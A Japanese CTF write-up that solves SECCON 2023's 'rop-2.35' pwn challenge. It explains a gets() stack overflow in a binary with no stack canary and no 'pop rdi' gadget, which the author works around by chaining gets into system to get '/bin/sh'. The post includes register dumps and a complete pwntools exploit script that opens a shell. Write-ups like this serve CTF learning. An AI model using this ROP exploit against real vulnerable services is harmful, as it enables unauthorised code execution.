🐙

SECCON CTF 2023 Quals Writeup

2023/09/18に公開

0nePaddingのメンバとして参加しました。

全体的に基礎力、発想力不足でwarmupしか解けませんでした。
来年は1問でも多く解けるように精進します。

Pwn-rop-2.35

ROP問です。
pop rdiがないので少しだけ工夫する必要がありました。

配布物は以下の通り。

  • 問題バイナリ
  • main.c
  • Dockerfile
  • docker-compose.yml
#include <stdio.h>
#include <stdlib.h>

void main() {
  char buf[0x10];
  system("echo Enter something:");
  gets(buf);
}

ソースコードはめっちゃシンプルで、自明なBOFがあります。
また、CanaryはOFFになっているので単純なBOFでsaved ripを上書きできます。

$ checksec chall
[*] '/home/ubuntu/workspace/ctf/SECCON2023/rop-2-3-5/rop-2.35/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

あとはpop rdiしてsystemでもなんでも呼べばwin!…ですが、残念ながらpop rdiはいません…
そのため、gets関数を再度利用することでrdiに"/bin/sh"をセットしました。

main関数の終了時のレジスタは以下のようになっています。
rdiには_IO_stdfile_0_lockが入っており、これは書き込み可能な領域です。

*RAX  0x7ffd067906f0 ◂— 0x6161616161616161 ('aaaaaaaa')
 RBX  0x0
*RCX  0x7f6fcb018aa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
*RDX  0x1
*RDI  0x7f6fcb01aa80 (_IO_stdfile_0_lock) ◂— 0x0
*RSI  0x1
*R8   0x0
 R9   0x0
*R10  0x77
 R11  0x246
 R12  0x7ffd06790818 —▸ 0x7ffd06792271 ◂— 0x6c6c6168632f2e /* './chall' */
 R13  0x401156 (main) ◂— endbr64
 R14  0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64

 R15  0x7f6fcb06e040 (_rtld_global) —▸ 0x7f6fcb06f2e0 ◂— 0x0
*RBP  0x6161616161616161 ('aaaaaaaa')
*RSP  0x7ffd06790708 —▸ 0x40101a (_init+26) ◂— ret
*RIP  0x401184 (main+46) ◂— ret
─────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────
 ► 0x401184       <main+46>       ret

そのため、この直後にgets関数をコールすると、_IO_stdfile_0_lockに任意の値を書き込めます。
また、gets関数の終了時にrdiには_IO_stdfile_0_lockがセットされているため、次にsystem関数をコールするようにソルバーを書けばよいです。
ただし、/bin/shと素直に入力してもgets関数内の以下の処理で四文字目の値を減算されてしまいますので注意です。

   0x7f8b4be5565f <gets+191>    mov    rdi, qword ptr [rbp + 0x88]
   0x7f8b4be55666 <gets+198>    mov    esi, dword ptr [rdi + 4]
 ► 0x7f8b4be55669 <gets+201>    lea    edx, [rsi - 1]
   0x7f8b4be5566c <gets+204>    mov    dword ptr [rdi + 4], edx
   0x7f8b4be5566f <gets+207>    test   edx, edx

あとは上記の内容を実装し、実行すればクリアです。

from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


exe = "./chall"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

io = start()
ret = 0x000000000040101a
gets = elf.sym["gets"]
system = elf.sym["system"]
payload = flat(
    b"a" * 24,
    gets,
    system
)

io.sendline(payload)
io.sendline(b"/bin0sh")

io.interactive()

感想

ROPには無限の可能性があるなぁ()

Discussion